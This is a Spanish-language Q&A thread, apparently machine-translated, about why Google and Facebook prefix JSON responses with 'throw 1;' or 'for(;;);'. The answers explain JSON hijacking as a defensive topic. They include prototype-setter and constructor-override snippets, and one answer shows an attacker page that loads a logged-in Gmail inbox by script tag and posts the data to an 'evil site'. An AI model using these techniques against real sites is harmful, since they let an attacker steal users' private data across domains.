¿Por qué las personas ponen código como "arrojar 1; <no ser malo>" y "para (;;);" frente a las respuestas json?

Question

Duplicar posible:
Why does Google prepend while(1); to their JSON responses?

Google devuelve JSON como esto:

throw 1; <dont be evil> { foo: bar} 

y Facebooks ajax tiene JSON como esto:

for(;;); {"error":0,"errorSummary": ""} 

• ¿Por qué ponen código que podría detener la ejecución de y hace que json no válido?
• ¿Cómo lo analizan si no es válido y se bloquea si intenta evaluar ?
• ¿Lo eliminan de la cadena (parece caro)?
• ¿Existen ventajas de seguridad en esto?

En respuesta a que es por motivos de seguridad:

Si el raspador está en otro dominio tendrían que usar una etiqueta script para obtener los datos, ya que no va a funcionar XHR entre dominios. Incluso sin el for(;;);, ¿cómo obtendría el atacante los datos? No está asignado a una variable, ¿no sería basura porque no hay referencias?

Básicamente para obtener el datos de varios dominios que tendrían que hacer

<script src="http://target.com/json.js"></script> 

Pero incluso sin el guión accidente antepone el atacante no puede utilizar cualquiera de los datos JSON sin que se asigna a una variable que se puede acceder globalmente (no es en estos casos). El código de bloqueo no hace nada porque, incluso sin él, tienen que usar scripts de servidor para usar los datos en su sitio.

Answer 1

Incluso sin el for(;;); ¿cómo obtendría el atacante los datos?

Los ataques se basan en la modificación del comportamiento de los tipos incorporados, en particular, Object y Array, alterando su función constructora o su prototype. Luego, cuando el JSON específico utiliza un constructo {...} o [...], serán las versiones del atacante de esos objetos, con un comportamiento potencialmente inesperado.

Por ejemplo, se puede hackear un regulador de la propiedad en Object, que iba a entregar los valores escritos en objetos literales:

Object.prototype.__defineSetter__('x', function(x) { 
    alert('Ha! I steal '+x); 
}); 

Entonces cuando un <script> se señaló en algún JSON que usó ese nombre de propiedad:

{"x": "hello"} 

se filtró el valor "hello".

La manera en que los literales de objeto y matriz causan que los setters sean llamados es controvertida. Firefox eliminó el comportamiento en la versión 3.5, en respuesta a ataques publicitados en sitios web de alto perfil. Sin embargo, al momento de escribir Safari (4) y Chrome (5) siguen siendo vulnerables a esto.

Otro ataque que todos los navegadores ahora no permitir era redefinir las funciones constructoras:

Array= function() { 
    alert('I steal '+this); 
}; 

[1, 2, 3] 

Y por ahora, la aplicación de IE8 de propiedades (basado en la especificación de ECMAScript quinta edición estándar y Object.defineProperty) actualmente no funciona en Object.prototype o Array.prototype.

Pero, además de proteger navegadores anteriores, es posible que las extensiones de JavaScript causen más fugas potenciales de un tipo similar en el futuro, y en ese caso la paja también debería proteger contra las mismas.

Answer 2

¿Cómo lo analizan si no es válido y se bloquea si intenta evaluar ?

Es una característicaque se estrellaría si se trató de eval ella. eval permite un código JavaScript arbitrario, que podría usarse para un ataque de secuencias de comandos entre sitios.

¿Lo acaban de quitar de la cadena (parece caro)?

I imagine so. Probablemente algo como:

function parseJson(json) { 
    json = json.replace("throw 1; <dont be evil>", ""); 
    if (/* regex to validate the JSON */) { 
     return eval(json); 
    } else { 
     throw "XSS"; 
    } 
} 

El "no seas malvado", hay cosas que impide a los desarrolladores el uso de eval directamente en lugar de una alternativa más segura.

Answer 3

EDITAR

Estas cadenas se denominan comúnmente como una "cruft unparseable" y se utilizan para parchear una vulnerabilidad de fuga de información que afecta a la especificación JSON. Este ataque es real y a vulnerability in gmail was discovered by Jeremiah Grossman. Mozilla también cree que esto es una vulnerabilidad en la especificación JSON y ha sido patched in Firefox 3. Sin embargo, debido a que este problema aún afecta a otros navegadores, se requiere este "crumble no rastreable" porque es un parche compatible.

La respuesta de Bobice tiene una explicación técnica de este ataque y es correcta.

Answer 4

consideran que, después de comprobar su cuenta de Gmail, que ir a visitar a mi página de mal:

<script type="text/javascript"> 
Object = function() { 
    ajaxRequestToMyEvilSite(JSON.serialize(this)); 
} 
</script> 
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script> 

¿Qué va a pasar ahora es que el código Javascript que proviene de Google - el cual el pensamiento autor de la pregunta sería benigna e inmediatamente quedan fuera del alcance: en realidad se publicarán en mi sitio malvado.Supongamos que la URL solicitada en la etiqueta script envía (porque su navegador presentará la cookie adecuada, Google correctamente pensar que se ha iniciado sesión en su bandeja de entrada):

({ 
    messages: [ 
    { 
     id: 1, 
     subject: 'Super confidential information', 
     message: 'Please keep this to yourself: the password is 42' 
    },{ 
     id: 2, 
     subject: 'Who stole your password?', 
     message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42' 
    } 
    ] 
}) 

Ahora, voy a publicar una versión serializada de este objeto a mi malvado servidor. ¡Gracias!

La manera de evitar que esto ocurra es dividir sus respuestas JSON y desencriptarlas cuando, desde el mismo dominio, puede manipular esos datos. Si te gusta esta respuesta, acepta la publicada por bobince.